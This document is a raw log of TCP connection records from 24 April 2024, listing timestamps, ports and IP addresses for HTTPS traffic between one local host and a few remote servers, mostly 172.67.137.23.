Apr 24, 2024 23:07:58.525893927 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.559601068 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:07:58.559633970 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:07:58.575656891 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.575659037 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.678210020 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.678497076 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.678514004 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.680001020 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.680083990 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.680449009 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.680529118 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.680593014 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.724123955 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.731703997 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.731719971 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.777264118 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.165965080 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.166220903 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.166300058 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.166363955 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.166537046 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.166666985 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.168070078 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.168118954 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.190623999 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.190665007 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.190749884 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.191123009 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.191138029 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.191421032 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.191451073 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.525042057 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.525408983 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.525440931 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.526642084 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.527208090 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.527441978 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.578809023 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.670638084 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.671092033 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.671188116 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.671626091 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.671664953 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.673947096 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.674074888 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.810015917 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.810209036 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:59.810476065 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.811599016 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:59.811626911 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.231653929 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.231971979 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232085943 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232130051 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.232165098 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232281923 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232311010 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.232319117 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232407093 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.232413054 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232592106 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232697010 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232805967 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.232810020 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232836962 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.232974052 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.233407021 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.233530045 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.233563900 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.233575106 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.233688116 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.233695030 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.234404087 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.234555960 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.234560966 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.234577894 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.234721899 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.234823942 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.234833956 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.235819101 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.238965988 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.239218950 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.239305019 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.239706993 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.239727974 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.240011930 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.240056038 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.240061998 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.240389109 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.240396023 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.294342995 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.411914110 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412141085 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412239075 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.412250042 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412278891 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412700891 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412821054 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.412822008 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412847042 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.412887096 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.413551092 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.413641930 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.413676023 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.413697958 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.413799047 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.413906097 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.413914919 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.414007902 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.414593935 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.415307999 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.415509939 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.415549040 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.415555000 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.415579081 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.415832043 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.415993929 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.416214943 CEST	49755	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.416233063 CEST	443	49755	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.441540956 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.441629887 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.441855907 CEST	49757	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.441932917 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.441941023 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.442106962 CEST	49757	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.442414045 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.442440987 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.442846060 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.442884922 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.442919016 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.443010092 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.443391085 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.443397999 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.443643093 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444313049 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444336891 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444346905 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.444348097 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.444536924 CEST	49757	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444562912 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.444719076 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444732904 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444744110 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.444935083 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.444952965 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.445090055 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.445097923 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.445481062 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.445491076 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.602930069 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.602982998 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.607907057 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.611990929 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.611999035 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.612008095 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.612036943 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.613240004 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.613240957 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.613298893 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.774761915 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.775122881 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.775141954 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.776097059 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.776176929 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.776552916 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.776664019 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.776712894 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.779051065 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.779345036 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.779402018 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.780024052 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.780476093 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.780637980 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.780652046 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.780687094 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.781192064 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.781632900 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.781646013 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.783231974 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.783338070 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.783855915 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.783993959 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.784022093 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.784212112 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.784434080 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.784454107 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.786191940 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.786462069 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.786699057 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.786787033 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.786823034 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.786979914 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.787348986 CEST	49757	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.787406921 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.787995100 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.788299084 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.788312912 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.788548946 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.788938999 CEST	49757	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.789017916 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.789314985 CEST	49757	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.789767027 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.789838076 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.790384054 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.790384054 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.790397882 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.790460110 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.820117950 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.824143887 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.828141928 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.828732967 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.828749895 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.828763962 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.828762054 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.828769922 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.828778982 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.828802109 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.836136103 CEST	443	49757	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.844480991 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.844501019 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:00.876488924 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.876488924 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.876558065 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.892585039 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:00.953744888 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.954057932 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.954068899 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.955710888 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.955796957 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.957674026 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.957758904 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.958188057 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:00.958194017 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:00.968426943 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.973877907 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.973898888 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.975357056 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.975438118 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.976703882 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.976778984 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.977335930 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:00.977344036 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:00.997950077 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.029266119 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:01.263175011 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.286987066 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.287013054 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.287054062 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.287070990 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.287141085 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.287180901 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.287195921 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.287221909 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.313776016 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.313827991 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.313848019 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.313867092 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.313922882 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.313956976 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.354943037 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.362564087 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:01.362992048 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:01.363049030 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:01.364335060 CEST	49762	443	192.168.2.5	142.250.101.104
Apr 24, 2024 23:08:01.364353895 CEST	443	49762	142.250.101.104	192.168.2.5
Apr 24, 2024 23:08:01.407536983 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.407670975 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.407779932 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.407783031 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.407814026 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.407872915 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.407964945 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.408185005 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.408241034 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.408263922 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.408355951 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.408406973 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.408421040 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.408689976 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.408744097 CEST	49756	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.408761024 CEST	443	49756	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428083897 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428234100 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428322077 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.428324938 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428352118 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428503990 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428561926 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.428575993 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428658009 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428713083 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.428718090 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428793907 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.428853035 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.428858042 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.430736065 CEST	49758	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.432533979 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.432559013 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.432621002 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.432629108 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.432657003 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.432678938 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.432698965 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.432703018 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.432795048 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.435739994 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.435973883 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436019897 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436050892 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436105967 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.436117887 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436258078 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436309099 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.436314106 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436347008 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.436356068 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436631918 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436657906 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436683893 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.436687946 CEST	443	49761	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.436995029 CEST	49761	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.440938950 CEST	443	49758	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.446566105 CEST	49763	443	192.168.2.5	13.226.210.57
Apr 24, 2024 23:08:01.446597099 CEST	443	49763	13.226.210.57	192.168.2.5
Apr 24, 2024 23:08:01.446949959 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.447074890 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.447127104 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.447134972 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.447225094 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.447309017 CEST	443	49760	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:01.447365999 CEST	49760	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:01.447371006 CEST	443	49760	172.67.137.23	192.168.2.5
